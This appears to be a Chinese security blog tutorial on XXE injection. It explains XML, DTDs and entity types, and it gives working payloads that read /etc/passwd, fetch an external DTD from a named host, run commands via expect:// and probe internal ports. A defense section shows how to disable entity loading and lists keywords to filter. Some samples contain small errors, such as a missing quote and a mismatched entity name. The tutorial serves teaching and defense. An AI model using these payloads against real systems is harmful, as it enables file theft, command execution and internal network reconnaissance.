XXE漏洞攻防

0x01 XXE

  XXE Injection即XML External Entity Injection,也就是XML外部实体注入攻击,漏洞是在对非安全的外部实体数据进行处理时引发的安全问题。

0x02 XML

  XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<!--XML申明-->
<?xml version="1.0"?>
<!--文档类型定义-->
<!DOCTYPE note [ <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)> <!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)> <!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)> <!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)> <!--定义body元素为”#PCDATA”类型-->
]>
<!--文档元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>

  DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明,也可以外部引用。

  • 内部声明DTD

    1
    <!DOCTYPE 根元素 [元素声明]
  • 引用外部DTD

    1
    2
    3
    <!DOCTYPE 根元素 SYSTEM "文件名">
    或者
    <!DOCTYPE 根元素 PUBLIC "public_ID" "文件名">

  DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以理解为变量,其必须在DTD中定义申明,可以在文档中的其他位置引用该变量的值,可以内部声明或外部引用。实体按类型主要分为以下四种:

内置实体 (Built-in entities)
字符实体 (Character entities)
通用实体 (General entities)
参数实体 (Parameter entities)

  • 内部声明实体

    1
    <!ENTITY 实体名称 "实体的值">
  • 引用外部实体

    1
    2
    3
    <!ENTITY 实体名称 SYSTEM "URL">
    或者
    <!ENTITY 实体名称 PUBLIC "public_ID" "URI">
  • 参数实体

    1
    2
    3
    <!ENTITY % 实体名称 "实体的值">
    或者
    <!ENTITY % 实体名称 SYSTEM "URI">

0x03 XML外部实体注入

  当允许引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。

  • 恶意引用外部实体方式1

    1
    2
    3
    4
    5
    <?xml version = "1.0"?>
    <!DOCTYPE a [
    <!ENTITY b SYSTEM "file:///etc/passwd">
    ]>
    <c>&b;</c>
  • 恶意引用外部实体方式2

    1
    2
    3
    4
    5
    6
    <?xml version = "1.0"?>
    <!DOCTYPE a [
    <!ENTITY % b SYSTEM "http://zjw.dropsec.xyz/1.dtd">
    %b;
    ]>
    <c>&b;</c>

DTD文件(1.dtd)内容为

1
<!ENTITY b SYSTEM "file:///etc/passwd">

  • 恶意引用外部实体方式3
    1
    2
    3
    4
    5
    <?xml version = "1.0"?>
    <!DOCTYPE a [
    <!ENTITY a SYSTEM "http://zjw.dropsec.xyz/1.dtd">
    ]>
    <c>&b;</c>

DTD文件(1.dtd)内容为

1
<!ENTITY b SYSTEM "file:///etc/passwd">

不同的程序支持不同的协议:

另外PHP还支持一些扩展协议:

XXE危害:读取任意文件
由于采用的centos的系统,一些效果可能没有出来,但是思路是没有错的。

1
2
3
4
5
6
7
8
9
10
<?php
$xml = <<< EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///etc/passwd>]>
<x>&xxe;</x>
EOF;
$data = simplexml_load_string($xml);
print_r($data);
?>

XXE危害:执行系统命令

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$xml=<<<EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "expect://id">
]>
<x>&xxe;</x>
EOF;
$data = simplexml_load_string($xml);
print_r($data);
$a =3;
echo $a;
?>

探测内网端口

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$xml=<<<EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "http://192.168.0.121:80/web1/">
]>
<x>&xxe;</x>
EOF;
$data = simplexml_load_string($xml);
print_r($data);
$a =3;
echo $a;
?>

XXE危害:攻击内网网站

0x04 XXE防御

  • 使用开发语言提供的禁用外部实体的方法

    1
    2
    3
    4
    5
    6
    7
    8
    PHP:
    libxml_disable_entity_loader(true);
    JAVA:
    DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
    dbf.setExpandEntityReferences(false);
    Python:
    from lxml import etree
    xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
  • 过滤用户提交的XML数据

    1
    关键词:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC。

参考链接:https://security.tencent.com/index.php/blog/msg/69
http://thief.one/2017/06/20/1/